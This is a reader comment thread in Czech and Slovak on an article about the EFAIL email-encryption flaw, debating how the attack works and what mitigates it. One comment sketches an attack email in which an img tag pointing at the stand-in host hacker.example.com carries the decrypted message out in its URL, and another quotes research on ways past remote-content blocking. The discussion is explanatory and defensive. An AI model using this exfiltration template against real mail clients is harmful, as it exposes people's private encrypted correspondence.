Názory k článku Chyba EFAIL umožňuje číst zprávy zašifrované pomocí PGP a S/MIME
-
DannyStříbrný podporovatelHTML obsah neni treba zobrazovat vubec - a kdyz uz, tak minimalne nikoliv se vzdalenym obsahem. Stejne tak jde pomerne snadno zakazat HTML rendering jako takovy. Stejne kroky mimochodem doporucuje i US-CERT.
Sve puvodni silne vyroky pozdeji krotili i samotni autori puvodniho oznameni. Popravde je to i pomerne zajimavy socialni pruzkum - aneb kolik lidi je vubec ochotno na zaklade (v pondeli rano) nicim nepodlozeneho "doporuceni" hned podlehnout, zacit panikarit a rovnou vypinat sifrovani ve svych klientech. Zakazovani sifrovani jako takoveho je nesmysl od samotneho pocatku.
-
BobTheBuilderStříbrný podporovatelMozilla k tomu:
https://blog.mozilla.org/thunderbird/2018/05/efail-and-thunderbird/
Stručně:
1) nevypínat šifrování
2) nepovolovat vzdálený obsah, ani na výzvu
3) chyba v Thunderbirdu, podle autorů zprávy, možná byla, ale v aktuální verzi 52.7 není
4) pro zobrazení nastavit Zobrazení->Tělo zprávy jako->Jednoduché HTML
5) TB 52.8 bude mít EFAIL opravený
Bod 4 sice zruší externí obrázky (kdejaký newsletter, ale ty mívají obvykle i link "zobrazit v prohlížeči"), ale zabrání i případným jiným, dosud neznámým, zneužitím HTML v e-mailu. -
Filip JirsákStříbrný podporovatelTo ale nesouvisí s S/MIME, problém je ve zpracování HTML e-mailu. Především v tom, že se tři části e-mailu zpracovávají jako jeden dokument, a navíc k externím odkazům v HTML by měl poštovní klient přistupovat velmi obezřetně.
-
Shad0wMaster (neregistrovaný)
Nejak se zapomina, ze to neni jen o jedné chybe, ale dvou na stranach klientu. A podotýkám pouze klientu. Robrazovani html a ochranu před timto musi vyresit tvurci klientu, doporuceni je pouzivat plaintext zobrazovani emailu. No a druhy, zajimavejsi utok nahrazovovanim urcitych bloku podvrzenymi castmi byl vyresen dle tvurcu v roce 2000. Kdy tuto manipulaci objevi a nahlasi, ale postovni klient toto ignoruje.
Jestli to tak je uplne presne si rad pockam, ale pak to znamena zacit delat matrix tabulky doporučených klientu k pouzitemu sifrovani. Se da rici, ze postovni klient je takovy spion. Vy dostanete zpravu bezpecne do mista urceni a pak se teprve informace potichu dostane diky nemu od vas ven.Sifrovani se neprolomilo, jen ten řetěz duvery se pretrhl. -
Petr M (neregistrovaný)
Šifra se neprolamuje. Trik je v tom, že se přinutí e-mailový klient, aby zprávu dešifroval stejně, jako když si ji chce přečíst uživatel. Jenom pak zprávu nezobrazí, ale vloží do adresy obrázku, který zkusí načíst z http serveru. pak stačí, když je obrázek na serveru útočníka a ten si uloží, z jaké URL se ten soubor načítal. URL je totiž dešifrovaná zpráva.
PGP je v tom nevinně, nemůže vědět, že klient je ukecaný blbec a vybleje to ven...
-
strepty (neregistrovaný)
PGP neexistuje v oddelenom vesmire, potrebuje implementaciu aby ho ludia pouzivali, a zda sa ze vsetky najpouzivanejsie implementacie ci uz komercne alebo open su prelomene online a vcetne celej historie posty. Cize je to velmi zle :-) Ako keby PGP neexistovalo. Ked ste sa nan niekedy spolahli tak ste urobil chybu.
-
Filip JirsákStříbrný podporovatel
Program na dešifrování (PGP) nemůže tušit, že rozšifrovanou zprávu vzápětí někdo vezme a zveřejní – natož aby tomu mohl zabránit. Když e-mail rozšifrujete a rozšifrovaný pak někomu pošlete e-mailem, fakt to není chyba PGP – a tohle je ten samý případ, akorát to nepošlete vy ručně, ale iniciativně to vyžvaní e-mailový klient.
Netuším, co jste myslel tím „prolomené on-line“ – je to tak, že útočník musí mít k dispozici ten zašifrovaný e-mail. Není to tedy tak, že by se útočník dostal ke všem vašim e-mailům, ale nejprve musí mít ten šifrovaný e-mail, a teprve pak může zneužít téhle chyby poštovních klientů. Není to žádná banalita (pokud někdo šifruje, tak asi nechce ani aby e-mail mohl číst správce serveru), ale zase to není takový průšvih, že by útočník mohl číst vzdáleně vaše e-maily.
-
strepty (neregistrovaný)
Tak inak. Mame sifru PGP overime ju standardnymi testami z 19 storocia cize man in middle a podobne a oznacime jej bezpecnost za taku velku ze mimozemstania ju budu lustiti n rokov normalny ludia n tisic rokov. Ale to je overenie ked som mal kluc v hlave, vedel si vypocitat spravu na papieri. Lenze PGP musite mat kluc na disku, pocita ju pocitac maily uchovavate nesifrovane, cize vsetky zranitelnosti pocitaca sa pripocitaju. Zlozitost prelomenia sa redukuje na zlozitost pristupu k Vasmu PC, v dobe internetu sa redukuje na zlozitost zavirenia Vasho pocitaca na dialku. To je vlastnost PGP ze ju pocita pocitac a heslo je nezapametatelne pre ludi takze hned od zaciatku mala byt overovana inymi testami.
Mozno raz vznikne PGPMAIL ktora bude zakazovat ulozenie mailu nesifrovane, bude mazat po sebe RAM, kluc budete bude moc byt ulozeny len mimo pocitaca napriklad na usb a tu budeme moct nazvat bezproblemovou, ale PGP ako take je od zaciatku zle. -
Filip JirsákStříbrný podporovatel
Proč by musel být klíč na disku a musel by to počítat počítač? Proč ne třeba YubiKey?
-
strepty (neregistrovaný)
Je to odolne napriklad proti odchytavaniu komunikacie na usb? Odleptaniu vrchnej vrstvy a pozeranie hradiel ROM pod mikroskopom? Stale sa snazim povedat ze na PC bude treba nove typy testov sifier napriklad evil admin, evil driver, evil HW. A podla toho urobit sifry. Mozno to skonci tak ze kluc bude idealne v hlave, sifrovanie v externom cipe.,
-
strepty (neregistrovaný)
PF " lze USB klíč přečíst pod elektronovým mikroskopem"
Otazka bola na nejaky specialny usb co moze uchovavat hesla, prve co ma napadlo ze je tenucky a vyzeral byt lacny tak na cipe asi nebude mat zlatu vrstvicku ktora brani odleptaniu. To citanie ROM som videl na defcon niekedy 2014 2015 alebo tak. Robili to pomocou gelu kyseliny florovodikovej co maju americky zubari. Potom urobili fotku pod mikroskopom a na nej sa dalo jasne vidiet hradla ROM kde je 1 a 0 tak precitali interny kod. To bol cip nieco na sposob 8080 cize velke hradla, mozno by stacila lupa. Robili to na kolene. Obycajne USB chranene heslom su este horsie tam nemusite nic odleptavat staci najst cesticku po ktorej idu data nesifrovane, to vraj niekto vie aj na Slovensku. Ake znacky usb klucikov vie precitat mi moj kontakt nevedel povedat ale v tej dobe bol v predaji interne sifrovany asi len Kingston Vault .
A co navrhujem? Hlava je osvedcene riesenie tisicky rokov. Sifry co potrebuju ukladat kluce su pre pc nevhodne. Vzdy budete mat problem s implementciou ako je tato. Keby pred kazdym rozsifrovavanim musel uzivatel zadat kod tak sa moze admin pytat mailoveho klienta aby mu poslal spravu kolko chce nedostal by ju lebo klient by nemal heslo ulozene. Takto sa bezpecnost PGP zredukovala na bezpecnost ze niekto nabura admin konto postoveho servra. -
Petr M (neregistrovaný)
Aha. Já jsem zase tuhle v telce viděl, jak elektromobil letěl ve vesmíru někde v okolí Marsu.
Ony ROM mají několik technologií.
- ROM přečteš, tam se liší poslední maska. Ale touhle technologií se dá dělat, vzhledem k ceně masky, série řádově 10k klonů a víc, jinak se nezaplatí. Takže takto můžou udělat maximálně FW, ne saotný klíče.
- PROM má na čipu součástky, který buďto "odstřelíš", nebo necháš. Tam bys teoreticky něco vidět mohl (v závislosti na provedení), ale jednou uložený klíč bys nezměnil a kapacita je hodně malá (aby destrukce nepostihla buňku vedle). Neumožní ani update FW atd.
- Modernější technologie - EEPROM (s UV mazáním), FLASH, EEPROM,... používají tranzistor s izolovaným hradlem, na který se elektrony kvantově tunelují. Nedochází k fyzické změně buňky, rozdíl tak neuvidíš. A elektronový mikroskop ti dokonale srovná náboje, takže s ním tu paměť jenom naprogramuješ na nuly.Takže pokud se nepoužije PROM nebo OTP ROM přímo pro uložení klíče, je tenhle vektor útoku elektronovým mikroskopem trochu hodně mimo realitu.
-
Petr M (neregistrovaný)
Asi ještě nepochopil, že tyhle hračky jsou dělaný tak, aby se z nich klíč nedal dostat, protože
- Šifrování a dešifrování probíhá uvnitř, PK se nikdy nepošle ven. Jenom se tím proženou data
- Některý takový hračky mají klíče v zálohované SRAM a při otevření se jí přeruší napájení
- Klíče se nedají vyčíst pod elektronovým mikroskopem (viz výše), ani z odpájenýho brouka v jiným zařízení -
strepty (neregistrovaný)
"PF Vytvořím na něm privátní klíč"
Vy mi date nieco na co nemam cas tak odpoviem rovnako. Skusali ste uz neikedy overit prvocislo brutal force? Take 10 miestne trvalo hodinu na C2D. Dobre a Vas privatny bude 2048b cize tak 204 miesne cislo. Kolko bude trvat overenie takeho prvocisla brutalforece? Dlho. A kolko ho generuje Vas server 10 sekund? Tusim ze vyuziva malu Fermatovu vetu. No a teraz otazka dokaze mala Fermatova veta overit vsetky 204 miestne cisla alebo vymedzuje len nejaku podmnozinu. Aka velka je ta podmnozina? Dokaze niekto na svete celu podmnozinu vytiahnut do tabulky? Ak dokaze ste v ... -
Prosím Vás, tohle jsou teoretické cinty, které s praxí nemá nic společného. Pokud dokážete pomocí brutal force v současné době za rozumný čas a rozumné peníze najít privátní klíč k RSA2048 nebo RSA4096 (ne pomocí nějaké chyby v konkrétní implementaci - to se stát může (viz případ Yubikey), ale v samotném principiálním návrhu RSA), tak jste těžce za vodou a neztrácíte tady s námi v diskuzi čas. Každý stát, každá tajná služba by za Vás platila zlatem.
A to Vaše "Ak dokáže ste v..." odpovím jen jedním: Kdyby byly v p*deli ryby, nemusely by být rybníky.
Nemám rád teoretiky, co do praktického života převádí: "Kdybych to dokázal, tak by..." -
Filip JirsákStříbrný podporovatel
Ano, kontrolou podpisu samozřejmě projde. Při kontrole podpisu se kontroluje shoda hashe vypočteného z dokumentu a hashe dokumentu uloženého v podpisu. Vzhledem k tomu, že se dokument nijak nemění, nezmění se ani jeho hash a kontrola podpisu projde.
-
BobTheBuilderStříbrný podporovatel
To snad ne. Minimálně to nemůže projít kontrolou DKIM, která zahrnuje celou zprávu. Když s ní útočník něco provede, DKIM nemůže nadále souhlasit. A platné DKIM generují dnes už skoro všechny servery. Chybějící DKIM, neplatný DKIM nebo DKIM jiné domény, než patří odesílateli tedy znamená problém - rozhodně pro toho, kdo má potřebu šifrovat e-maily.
-
Filip JirsákStříbrný podporovatel
Útočník tu zprávu celou vytvoří a odešle ji přes svůj server, takže klidně může mít platný DKIM podpis. Ten „vnější“ e-mail, který posílá útočník, s tou šifrovanou zprávou vůbec nijak nesouvisí. Teprve v tom vnějším e-mailu jsou skryté ty šifrované přílohy, které chce útočník rozšifrovat – a u těch už se zase nic nevaliduje, protože je poštovní klient chápe jako URL, které má načíst. Jediné omezení je na délku URL, které je poštovní klient ochoten poslat serveru.
-
BobTheBuilderStříbrný podporovatel
No, že se tady psalo, že třeba na serveru ten mail někdo zmodifikuje. To mu rozhodně DKIM zkomplikuje. A pokud (zašifrovanou) zprávu nechám i podepsat (S/MIME), tak je podepsaná CELÁ.
To je snad první stupeň (zdravé) paranoie, podepisování zpráv. Šifrování je až ten další.- Takže dopis od mého šifrujícího partnera Vonáska musí
- mít zfalšovaný DKIM
- doménu pro DKIM změnit bude problém, protože podle odesílatele můj klient vybere veřejný klíč k ověření podpisu, takže ještě:
- zfalšovaný S/MIME podpis
- modifikovaný vnitřek
- a ještě mě musí přesvědčit, abych nechal klienta zobrazit vzdálený obsah
Opravdu je to snadný útok?
To samozřejmě nic nemění na tom, že přístup postižených klientů je zásadně špatný a vyžaduje nutnou opravu. -
Tom (neregistrovaný)
mysli na to, že se takhle dají upravit i již doručené a uložené zprávy, poté jí otevřeš a její obsah sdělíš.
S/MIME podpis nepomůže, cílem není kompromitovat tebe a spustit u tebe zákeřný kód či změnit důvěryhodně obsah zprávy, ale sdělit její obsah. Podpis nebude sedět, ale řada klientů ti obsah zobrazí s informací, že podpis nesedí, v té době je ale už pravděpodobně značná část emailu fuč.
Vše šifrované v CBC bez dodatečné kontroly a interpretované v html (či klidně v jiném formátu) je na tenhle útok náchylné, tohle není vesměs novinka, CBC tuhle chybku na kráse má, novinka je, že to je tak vysoká penetrace špatných email klientů.
-
Filip JirsákStříbrný podporovatel
Stále nechápete, jak ten útok funguje. Útočník vezme zašifrované „přílohy“ (zašifrovaný není nikdy celý e-mail, hlavičky nejsou šifrované, šifrovaný je jen obsah), a ty vloží do svého e-mailu. Takže žádné falšování DKIM se nekoná, protože z toho původního šifrovaného e-mailu se žádné hlavičky nepoužijí (použije se jen ta šifrovaná část), a nový e-mail má útočník plně pod kontrolou, pošle ho prostě ze své adresy, ke které má správné DKIM.
Pokud máte e-mail od vašeho šifrujícího partnera Vonáska, budete mít e-mail:
From: Vonásek Subject: tajný e-mail --BOUNDARY …šifrovaný obsah… --BOUNDARY
Útočník vám pak pošle tohle:
From: Svatoušek Subject: tohle si určitě musíte přečíst Takovýhle obrázek jste ještě neviděl: <img src="http://hacker.example.com/?obsah-emailu=" --BOUNDARY …šifrovaný obsah… --BOUNDARY "/> Úžasné, že?
O nějakém Vonáskovi v tom e-mailu od útočníka není ani čárka, je tam vložená jenom ta zašifrovaná část. Už to chápete?
-
Špatně jste to pochopil.
Získám něčí mail (např admin serveru), jehož tělo je zašifrováno příjemcovo klíčem. Poté vytvořím (jako útočník) nový regulérní mail, který šifrované(+podepsané) body vloží do multipart/encrypted a před a za tuto část vloží nové multipart body - HTML značku rozdělenou na dvě poloviny (podpis+šifrování i nadále sedí, protože se nic nezměnilo, jen se vložilo do mailu jako multipart část a jen toto se kontroluje
v případě multipart mailů)). Tento mail pošle opět oběti. Na odchozím serveru získá regulérní DKIM podpis, proto ho příjemcovo mailserver neodmítne. Příjemce obdrží mail, jehož multipart/encrypted část pošle PGP (S/MIME) knihovně k rozšifrování. Od knihovny obdrží rozkódovaný text. Teď vezme první multipart část, spojí ji s druhou multipart částí (již rozšifrovanou) a poté to spojí s třetí multipart částí, která dokončí HTML značku, která začala v první části. Nyní je rozšifrovaný text součástí URL, který klient poptá na vzdáleném serveru nějak zjednodušeně takto "GET www.ciziserver.com/rozsifrovany%20text", takže vzdálený server dostane součástí URL požadovaný rozšifrovaný text. -
Není to tak.
Zkusím modelový případ.
Jsem admin, potřebuji rozšifrovat mail pro ředitele. Vlezu na serveru do jeho mail storage, najdu ten mail a stáhnu si ho k sobě. Vyjmu multipart/encrypted body, přenesu jej do nového mailu, kde ještě přidám multipart body před a za toto šifrované body. Jelikož encrypted body nezměním, šifrování i podpis bude stále souhlasit. Pošlu řediteli mail ze svého mailu. Ředitel si mail otevře a pokud mail klient má povoleno stahování externích obrázků, tak mi v URL pošle hezky to co je v té šifrované části. Klient pošle do šifrovací knihovny multipart/encrypted část, vrátí se rozšifrovaná, klient složí všechny multipart části do jednoho bloku a pošle to HTML renderu k zobrazení.
Takže shrnuto:
1) DKIM bude v pořádku - posílám regulérní mail ze svého účtu.
2) S/MIME podpis bude v pořádku, protože část mailu, která je podepsána/šifrována tak je nezměněna. Klient sice zahlásí, že nesouhlasí e-mail z podpisu (v certifikátu bude e-mail původního odesílatele, ne útočníkovo), ale mail stejně zobrazí (a tímpádem odešle dešifrované body jako součást URL na vzdálený server).Takže relativně snadný útok to je (vzhledem k tomu, že lidi běžně mají povolené stahování externích obrázků).
-
BobTheBuilderStříbrný podporovatel
V modelovém příkladu máte pravdu -- technicky.
Pokud má firma správce serveru, který je ochoten něco takového udělat, má vážné bezpečnostní problémy, protože takový člověk je zřejmě ochoten udělat cokoliv nejen nemorálního, ale i nezákonného.
A když někdo šifruje e-maily a má přitom povolené automatické zobrazení vzdáleného obsahu, tak je to taky bezpečnostní problém.
Nakonec přidejte praktickou nemožnost S/MIME, natož šifrování, ve webových rozhraních a můžeme to uzavřít, že je to pěkně blbá chyba, ale v poštovních klientech, ale široké veřejnosti se prakticky netýká. Řekl bych, že bohužel, protože S/MIME a leckdy i šifrování by bylo vhodné víc používat.
Autorům odhalení patří dík, kromě odhalení té chyby, zejména za to, že zmapovali vadné klienty. -
Filip JirsákStříbrný podporovatel
BobTheBuilder: Nemá smysl argumentovat tím, že šifrovat není potřeba. Pokud někdo nepotřebuje šifrovat tak asi nešifruje a ta chyba se ho netýká. Pokud někdo šifruje, tak to asi potřebuje – a je dost hloupé, pokud to šifrování funguje tak, že skoro jako kdyby nešifroval.
Mimochodem, e-maily šifruje druhá strana, ne ten, kdo má povolené automatické zobrazení vzdáleného obsahu. Ale je pravda, že dotyčný musí chtít šifrovat a zveřejnit svůj veřejný klíč. Zároveň ale platí, že ten zákaz automatického zobrazení vzdáleného obsahu moc nefunguje a v parserech nebo zobrazovačích HTML e-mailů je podle výzkumníků spousta chyb, které umožňují ten požadavek na web server poslat i tehdy, když je vzdálený obsah vypnutý.
-
Filip JirsákStříbrný podporovatel
Á, jéčko zase vůbec netuší, o čem je řeč, tak o to více nadává. Není žádný link okolo e-mailu. Je e-mail útočníka, ve kterém je link, a v tom linku je vložená zašifrovaná příloha, kterou chce útočník rozšifrovat. Víte, „šifrovaný e-mail“ je taková zkratka, ve skutečnosti se nikdy nešifruje celý e-mail, ale jsou šifrované jenom (některé) přílohy e-mailu. Přičemž i to, co e-mailový klient zobrazuje jako obsah e-mailu, je ve skutečnosti jenom jedna z příloh.
-
j (neregistrovaný)
A vis jak funguje PODPIS mailu? Sem vazne zvedav, jak ten utocnik zaridi, ze ten mail se nezmeni proti podpsu, ale to jirsak nemuze pochopit, a zjevne neni sam.
Takze jeslti nekdo nevi, jak neco a ve tvym priapde naporsto cokoli funguje, tak ses to predevsim ty.
17. 5. 2018 9:55 redakčně upraveno, důvod: Prosíme příště slušně a trochu na úrovni! -
Filip JirsákStříbrný podporovatel
Ano, vím, jak funguje podpis e-mailu – na rozdíl od vás. Co jste stále nepochopil je to, že v tom útoku figurují dva e-maily – zašifrovaný e-mail, který chce útočník rozšifrovat, a e-mail vytvořený útočníkem. Útočník vezme ten šifrovaný e-mail (respektive jeho šifrovanou část, e-mail není nikdy šifrovaný celý), a tak jak je, beze změny jediného bitu, ho vloží jako přílohu do svého e-mailu. Takže ten šifrovaný (případně podepsaný) e-mail se proti podpisu nezmění jednoduše proto, že ho útočník nijak nemění a použije ho tak jak je. Můžete si to klidně zkusit sám. Vezměte si nějaký soubor, spočítejte si jeho hash, pošlete si ten soubor jako přílohu e-mailu, a když ten soubor z přílohy e-mailu jako příjemce zase vyndáte a spočítáte jeho hash, bud stejný, jako na začátku. To je kouzlo, že? A úplně stejně to dělá i útočník.
-
Pavel (neregistrovaný)
Jenže e-mail se NIKDY nepodpisuje jako celek, ale pouze jeho část nesoucí chráněnou zprávu. Možná vás to překvapí, ale každý server, kterým ten mail projde (a někdy jich jsou desítky) obsah mailu změní - změní hlavičky, přídá k nim informaci o sobě a většinou je i zpřehází. A princip tohoto útoku je, že se ta šifrovaná a podepsaná část prostě obloží textem, který šifrovaný naní, a který způsobá, že mailový klient tu šifrovanou část interpretuje jinak, než zamýšlel odesilatel.
-
Filip JirsákStříbrný podporovatel
Vážně je tak těžké to pochopit? Žádné body se nezmění – celé, tak jak je, do posledního bitu, se vloží do nového e-mailu.
-
Jste fakt mimo. Podpis sedět bude částečně. Integrita bude v pořádku, protože body se přenese celé do nového mailu jako multipart. Co nebude sedět, tak bude autenticita podpisu, protože v podpisu bude jiný e-mail (odesílatel z původního mailu, odkud se body vzalo) než v hlavičce mailu útočníka. Nicméně prakticky dneska každý klient zobrazí obsah mailu s varováním, že nesedí podpis (autenticita). A to už je pozdě, plaintext těla bylo odesláno na cílový server při renderování HTML...
-
xxxxx (neregistrovaný)
Díky, hledal jsem, zda to tu už někde není zmíněno. Také si myslím, že snad každý, kdo to s bezpečností myslí vážně (obzvláště ti co si i doinstalovávají extra pluginy pro PGP), má vypnuté automatické externí načítání.
Něco jako: Soubor --> Možnosti --> Centrum zabezpečení --> Nastavení centra zabezpečení --> Automatické stahování --> Nestahovat automaticky obrázky v emailových zprávách ve formátu HTML a položkách RSS
Jiná otázka je pak sociální inženýrství, pokud by se útočník pokusil oběť zmanipulovat tak, aby obrázek načetla. Možná, že to je v původní zprávě zmíněno, byl to moc dlouhý pdf, tak jsem vzdal to tam hledat. Nicméně požadavek na vypnutí šifrování mi přijde nesmyslný, pokud nebere v úvahu možnost vypnutí stahování externích zdrojů (který je leak naprosto vždy)
-
NN (neregistrovaný)
Nepoznám emailového klienta, ktorý automaticky vygeneruje HTTP požiadavku z HTML obsahu správy. Ty takého mailového klienta poznáš? Minimálne to zobrazí výzvu na povolenie načítania vzdialeného obsahu pre konkrétnu doménu. načítanie vzdialeného obsahu je už samo o sebe podozrivé a u užívateľa nepriechodné, nieto ešte v podpísanej a zašifrovanej správe.
-
654 (neregistrovaný)
Jádro problému nakonec není ani v HTML, ale ve spouštění kódu a akceptování přílepků, které nejsou šifrované, nejsou kontrolovány digitálním otiskem a už vůbec nelze zaručit, že je skutečně poslal odesilatel. Je to diletantství vývojářů klientů PGP, protože upřednostnili fíčury a pohodlí před bezpečností. Přitom samotná specifikace pgp obsahuje jak možnost ověření samotné zprávy, tak a identity odesilatele. Bohužel tato specifikace zmiňuje pouze tvorbu samotné zprávy a ostatní blbiny okolo už nechává na implementaci vývojářů. Čistě PGP prolomeno nebylo, to jen někteří autoři PGP klientů mysleli, že automaticky spouštět neověřený a neověřitelný obsah ležící vedle zabezpečené zprávy je dobrý nápad.
Správný PGP klient odesilatele by měl zašifrovat (i s otiskem zprávy) a odeslat VŠE, co má software příjemce použít. PGP klient na straně příjemce by měl zase zahodit všechno, co není šifrované a ověřené otiskem zprávy. Jakýkoli jiný stav není bezpečný.
-
Petr M (neregistrovaný)
Jádro problému je v tom, že se volá dešifrovací funkce při zpracovávání nešifrovanýho mailu, nebo je dovoleno použít na část mailu jiný klíč.
Kdyby se nastavil při otevření mailu ENCRYPTED = FALSE a nedovolilo to vůbec decrypt čehokoliv nad tímhle mailem, vrátí se jako URL ten binární blob, který už útočník má a nezjistí nic novýho.
Pokud by to útočník poslal šifrovaně, ENCRYPTED = TRUE a KEY= ATTACKER_KEY. Na vloženou část se pak prostě aplikuje útočníkův klíč, kterým se to nepodaří dešifrovat.
A normální funkci jako odpovědět/přeposlat to neovlivní, protože se to stejně musí přebalit, aby si to příjemce přečetl. Navíc je to na pár řádků.
-
NN (neregistrovaný)
nepochopil si podstatu problému, čítaj toto vlákno
https://www.root.cz/clanky/chyba-efail-umoznuje-cist-zpravy-zasifrovane-pomoci-pgp-a-s-mime/nazory/vlakno/4/ -
NN (neregistrovaný)
>> Správný PGP klient odesilatele by měl zašifrovat (i s otiskem zprávy) a odeslat VŠE, co má software příjemce použít. PGP klient na straně příjemce by měl zase zahodit všechno, co není šifrované a ověřené otiskem zprávy. Jakýkoli jiný stav není bezpečný. <<
Ak chápeme PGP klienta ako poštového klienta s PGP knižnicou ako celok, tak áno. PGP ale ako modul alebo knižnica predsa dostane len nejaký vstup, ktorý dešifruje, nie? To že do PGP emailový klient pošle to, čo nemá je problém toho poštového klienta. Ako by podľa teba mala vyzerať knižnica, ktorá by toto riešila? PGP knižnica by mala pracovať priamo s emailovými správami?
-
xxxxx (neregistrovaný)
Jen vypnout "externí obrázky" a podobně nestačí! Většinu je opravdu třeba vypnout celé HTML renderování (a případně další, jako JS), je-li to možné.
Prohrabal jsem se ve zveřejněném PDF a ocituji tady:
HTML... The most prominent form of HTML content are images. Of the tested 48 email clients, 13 load external images by default. For ten of them, this can be turned off whereas three clients have no option to block remote content. All other clients block external images by default or explicitly ask the user before downloading. We analyzed all HTML elements that could potentially bypass the blocking filter and trigger a backchannel using a comprehensive list of HTML4, HTML5 and non-standard HTML elements that allow including URIs. For each element-attribute combination, links were built using a variety of well-known6 and unofficial7 URI schemes based on the assumption that http:// links may be blacklisted by a mail client while others might be allowed. We added specific link/meta tags in the HTML header. In addition, we tested against the vectors from the Email Privacy Tester8 project and the Cure53 HTTPLeaks9 repository. This extensive list of test-cases allowed us to bypass external content blocking in 22 email clients</storng>
Cascading Stlye Sheets (CSS)... Most mail clients allow CSS declarations to be included in HTML emails. Based on the CSS2 and CSS3 standards we assembled an extensive list of properties that allow included URIs, like background-image url("http://efail.de"). These allowed bypassing remote content blocking on 11 clients.</storng>
JavaScript... We used well-known Cross Site Scripting test vectors10,11 and placed them in various header fields like Subject: as well as in the mail body. We identified five mail clients which are prone to JavaScript execution, allowing the construction of particularly flexible backchannels.
-
Jsem si vzdycky myslel, ze HTML nema v mailu co delat a akorat opruzuje. Mam Claws Mail, jeden z poslednich Mohykanu.
Ale neni mi jasne Uživatelův poštovní klient nejprve pomocí privátního klíče dešifruje střední část mailu, všechny tři část slepí k sobě a předá je ke zpracování HTML jádru. Tak snad se napred zepta na passphrase, ne?
-
Přijde mi to, že počet lidí, co z toho šílí je více než 1000x počet lidí, co používá PGP/GPG na šifrování emailů.
Navíc ten threat model je neuvěřitelně nepraktický - potřebujete nejprve přístup do schránky odesílatele nebo cíle. Nebo man-in-the-middle na SMTP, co už je dnes přes TLS. Když k tomu přidáme fakt, je snad většina mailů je doručováno do gmailu (nezáleží jestli na gmail doméně nebo MX záznam na nasměrován na gmail), tak žádný útočník tohle v praxi nepoužije. Přitom nedávný bug v desktop verzi Signalu, který dělá z XSS RCE je na exploitování mnohem zajímavější cíl. (Vůbec Electron framework, kde XSS = RCE je mnohem horší architektonická volba pro aplikace zaměřené na bezpečnost). Tvrdit kvůli tomu, aby lidi nepoužívali Signal, je stejně hloupé, jako tvrdit, aby nepoužívali GnuPG.
Navíc hlavní použití GnuPG dnes je na podpisy balíčků, ne šifrování mailu (opět absolutní řádový nepoměr).
Když jsem se ptal, co by teda použili místo GnuPG na šifrování jednotlivých souborů nebo podpis zpráv, jediné doporučení jsem dostal minisign (https://github.com/jedisct1/minisign). Neviděl jsem nikoho, kdo by minisign používal (není to běžně ani v balíčcích distribucí). Navíc minisign neumí ekvivalent --clearsign u GnuPG (nemluvě o tom, že minisign postrádá všechnu další verzatilitu GnuPG).
Díval jsem se na zdrojáky a překvapilo mě pár podivností, které nevypadají úplně jako dobrý design. Z nějakého důvodu libsodium (která má pověst "užasného designu") používá několik nelogických věcí. Například místo toho, aby byla zvolena jedna podpisová schéma, jsou dvě - Ed25519 a Ed25519Ph. Ph je zkratka pro "pre-hashed" a má se používat pro soubory, které se nevejdou do paměti. Jediný důvod, proč to tak je z důvodu kompatibility - signify (https://github.com/aperezdc/signify) používá Ed25519. Dále je divný výběr hashovací funkce - Blake. Ne že by Blake byla špatná hashovací funkce, ale když že něco, tak proč ne Keccak (SHA-3 standard)?
Ten důvod s kompatibilitou uvádím kvůli tomu, že GnuPG kritizovali, že test integrity byl přidán později a jako důvod byla zpětná kompatibilita. Navíc GnuPG by default kontroluje integritu a dá warning.
K tomu všemu je jeden z kritiků je je Matthew D. Green, který tvrdí že GnuPG nemá "safe defaults" (není pravda), ale přitom jeho projekt Zcash má jako default "non-private" transparent transakce místo shielded transakcí. Množství hype a pokrytectví kolem tohoto bugu je neuvěřitelné.
Je to dost podobné jako BEAST attack - lidi z toho šíleli, Qualys SSL/TLS test z toho dlouhou dobu slintal a srážel skore, reálně BEAST ale nikdo nikdy nepoužil. Podobně jako nikdo nikdy nepoužije tento útok. To už je mnohem jednodušší trojan nebo jiný malware.
-
Filip JirsákStříbrný podporovatel
Navíc ten threat model je neuvěřitelně nepraktický - potřebujete nejprve přístup do schránky odesílatele nebo cíle. Nebo man-in-the-middle na SMTP, co už je dnes přes TLS.
Což je ale přesně to, proti čemu má šifrování e-mailů chránit. Nikdo z uživatelů, kdo věří, že jim stačí ochrana při přenosu pomocí TLS a na serveru už je e-mail v bezpečí, nemá potřebu e-maily šifrovat a tudíž se jich tento problém netýká. -
Nesouhlasím s Vámi s tvrzením o nepraktičnosti threat modelu. Zapomínáte na motivaci vnitřních útočníků. Pokud budu admin, který spravuje mailserver, tak mám k dispozici VŠECHNY uložené šifrované maily svěřené organizace, nic nepotřebuji složitě zíkávat, ba co víc, můžu si krásně na základě Subjectu profiltrovat ty zajímavější maily.
Samozřejmě závěry některých médií "PGP (S/MIME) rozlousknut! Vypněte si šifrování!" je naprosté nepochopení jádra pudla a zbytečné zbulvarizování tématu. -
j (neregistrovaný)
Proboha, kdyz sem admin, mam miliardu lepsich zpusobu jak se k tem mailum dostat. Cvaknu ti mezi USB a klavesnici token, a za hodinu mam vsechny tvoje hesla, at uz je bezpecnostni model libovolnej. V pripade korporatniho sifrovani mailu potom bude existovat klic v ulozisti vazanej na login uzivatele => staci mi si to heslo proste zmenit a prihlasit se na tebe.
A to nemluvim o tom, ze si naprosto sklidem zajistim to, ze jakmile mail desifrujes, ulozi se uz nezasifrovane. Proc bych mel delat podoby picoviny?
-
Filip JirsákStříbrný podporovatel
„Dobrý den, já jsem administrátor GMail serveru a jenom vám sem jdu něco zapojit do USB. Vůbec si mně nevšímejte, jako bych tu nebyl. Vážně u vás ještě nikdo z GMailu nebyl? To je zvláštní, to my takhle uživatele obcházíme běžně.“
-
Jste mimo. Používám HW token, můžete mi do PC cvakat co chcete, odposlouchávat komunikaci mezi HW tokenem a PC a stejně se k privátnímu klíči nedostanete.
A druhý odstavec je také nesmysl. Jakmile mail dešifrujete, tak je pouze v paměti, na úložišti je vždy jen v zašifrovaném stavu.
Chce to trochu o tom něco vědět, než začnete plácat takové kokotiny. -
Přezdívka: (neregistrovaný)
Co se stane, když mám zakázané zobrazování _externích_ obrázků?
V mnoha mailerech to je výchozí nastavení.
Chápu správně, že by se taková chyba pak projevit neměla? Mailer sice rozšifruje útočníkem podvržená šifrovaná data v img tagu, ale nenavštíví URL, tedy neprozradí útočníkovi obsah, ne?
-
NN (neregistrovaný)
